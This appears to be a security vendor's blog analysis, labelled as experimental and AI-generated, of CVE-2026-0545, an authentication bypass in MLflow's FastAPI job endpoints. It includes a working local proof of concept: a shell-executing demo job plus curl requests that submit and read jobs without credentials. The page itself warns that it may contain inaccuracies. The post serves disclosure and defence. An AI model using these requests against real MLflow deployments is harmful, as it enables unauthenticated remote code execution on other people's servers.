Automated Threat Modeling

MLflow CVE-2026-0545: Critical Authentication Bypass in FastAPI Job Endpoints with PoC Analysis

An analysis of CVE-2026-0545, a critical authentication bypass in MLflow's FastAPI job endpoints that allows unauthenticated remote code execution. Includes proof of concept details and mitigation guidance.

CVE Analysis

8 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-04-03

MLflow CVE-2026-0545: Critical Authentication Bypass in FastAPI Job Endpoints with PoC Analysis
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

An authentication bypass in MLflow's FastAPI job endpoints lets any unauthenticated network client submit and execute arbitrary jobs on servers configured with basic auth, turning a "protected" MLflow deployment into an open execution platform. With a CVSS score of 9.1 and a trivial exploitation path, this flaw is a serious risk for organizations running MLflow in production with job execution enabled.

MLflow is a widely adopted open source platform for managing the machine learning lifecycle, covering experimentation, reproducibility, deployment, and a central model registry. Databricks introduced it in 2018, and thousands of organizations now use it to track experiments and manage model deployments.

Technical Information

The vulnerability comes from how MLflow's authentication middleware routes requests for FastAPI endpoints versus traditional Flask endpoints. When the server starts with --app-name basic-auth, Flask routes enforce authentication and return 401 responses to unauthenticated requests. FastAPI routes under /ajax-api/3.0/jobs/* bypass authentication entirely and return 200 OK without credentials.

Root Cause

The architectural root cause is the _find_fastapi_validator() function in mlflow/server/auth/__init__.py. This function selects the authentication validator based on the request path. The vulnerable implementation only returned a validator for paths beginning with /gateway/, and returned None for every other FastAPI route:

def _find_fastapi_validator(path): if path.startswith("/gateway/"): return _get_gateway_validator(path) return None # <-- No auth check for non-gateway FastAPI routes!

When the validator is None, the authentication middleware just calls await call_next(request) without any authentication check, so the request reaches the endpoint handler unauthenticated.

Two more architectural issues make the gap worse. First, in fastapi_app.py, the job_api_router is included in the FastAPI application without any authentication dependencies. Second, the security initialization in fastapi_security.py only configures Cross Origin Resource Sharing, host validation, and security headers. It does not enforce authentication.

Scope of the Bypass

The bypass extends beyond the Job API. The same flaw affects:

  • The OTEL Traces API at /v1/traces, allowing unauthenticated injection of trace data
  • The Assistant API at /ajax-api/3.0/mlflow/assistant/*

Any FastAPI route that does not start with /gateway/ was left unprotected.

Exploitation Prerequisites

Exploitation requires two server configuration conditions:

  1. Server side job execution must be enabled via the MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true environment variable.
  2. At least one job function must be allowlisted using either the supported job function list or the allowed job name list.

Attack Flow

Once these conditions are met, the attack is straightforward:

  1. The attacker sends a POST request with a JSON payload containing the job name and parameters to the /ajax-api/3.0/jobs/ endpoint, without any Authorization header.
  2. The authentication middleware calls _find_fastapi_validator(), which returns None for this path.
  3. The middleware skips authentication and forwards the request to the job handler.
  4. The server executes the job and returns a job ID in a 200 OK response.
  5. The attacker uses the job ID to fetch execution results via a GET request to /ajax-api/3.0/jobs/<job_id>, again without credentials.

If the allowlisted job performs privileged actions such as shell command execution or filesystem changes, this chain gives unauthenticated remote code execution. Even if the jobs are safe, the bypass still enables job spam, denial of service, and data exposure through job results.

Proof of Concept

A public proof of concept is available in the Huntr bounty report. The following steps reproduce the full exploitation chain.

Step 1: Set up the environment and a demo job function

TEST_ROOT=/tmp/mlflow_job_clean rm -rf "$TEST_ROOT" mkdir -p "$TEST_ROOT/artifacts" "$TEST_ROOT/logs" cat > "$TEST_ROOT/basic_auth.ini" <<'INI' [mlflow] default_permission = NO_PERMISSIONS database_uri = sqlite:////tmp/mlflow_job_clean/basic_auth.db admin_username = admin admin_password = password1234 authorization_function = mlflow.server.auth:authenticate_request_basic_auth INI cat > "$TEST_ROOT/demo_job.py" <<'PY' from mlflow.server.jobs import job import subprocess @job(name="run_task", max_workers=1) def run_task(command="id"): return subprocess.check_output(command, shell=True).decode() PY

Step 2: Start MLflow server with basic auth and job execution enabled

MLFLOW_AUTH_CONFIG_PATH=/tmp/mlflow_job_clean/basic_auth.ini \ MLFLOW_FLASK_SERVER_SECRET_KEY=test-secret-key \ MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true \ _MLFLOW_SUPPORTED_JOB_FUNCTION_LIST=demo_job.run_task \ _MLFLOW_ALLOWED_JOB_NAME_LIST=run_task \ PYTHONPATH=/tmp/mlflow_job_clean \ mlflow server --app-name=basic-auth --host 127.0.0.1 --port 5590 \ --backend-store-uri sqlite:////tmp/mlflow_job_clean/backend.db \ --default-artifact-root /tmp/mlflow_job_clean/artifacts

Step 3: Confirm Flask routes enforce authentication (returns 401)

API=http://127.0.0.1:5590 curl -i "$API/api/2.0/mlflow/experiments/list" # => 401 Not authenticated

Step 4: Submit a job WITHOUT any Authorization header (returns 200)

curl -i -H "Content-Type: application/json" \ -d '{"job_name":"run_task","params":{"command":"id"}}' \ "$API/ajax-api/3.0/jobs/" # => 200 with job_id — authentication bypassed!

Step 5: Read the job result WITHOUT Authorization

JOB_ID=<job_id_from_step_4> curl -i "$API/ajax-api/3.0/jobs/$JOB_ID" # => 200 with result (e.g., output of the `id` command)

A second Huntr report showed that the bypass also reaches OTEL trace injection at /v1/traces, using a Python script that sends a forged protobuf ExportTraceServiceRequest without credentials and receives a 200 response. The Assistant API at /ajax-api/3.0/mlflow/assistant/* is affected the same way.

Affected Systems and Versions

MLflow version 3.9.0 and earlier running under uvicorn (the default in MLflow 3.x) are affected. The vulnerability is present when all of these conditions are met:

  • The server is started with --app-name basic-auth to enable authentication
  • The MLFLOW_SERVER_ENABLE_JOB_EXECUTION environment variable is set to true
  • At least one job function is allowlisted via _MLFLOW_SUPPORTED_JOB_FUNCTION_LIST or _MLFLOW_ALLOWED_JOB_NAME_LIST

The OTEL Traces API and Assistant API bypass components do not require job execution to be enabled. They are exploitable on any MLflow instance using basic auth with the affected FastAPI routing.

Vendor Security History

Recent CVEs show a pattern of high severity flaws in the MLflow platform:

Vulnerability IDTypeCVSS ScoreImpact
CVE-2024-0520Path Traversal8.8Remote code execution via OS command injection
CVE-2025-11200Weak Password Requirements9.8Complete authentication bypass
CVE-2025-15036Path Traversal9.6Arbitrary file overwrite and privilege escalation
CVE-2026-0596Command Injection9.6Privilege escalation via model serving

Given how often critical vulnerabilities turn up in MLflow, deploy it behind strong security gateways and network segmentation rather than exposing it directly to the internet.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization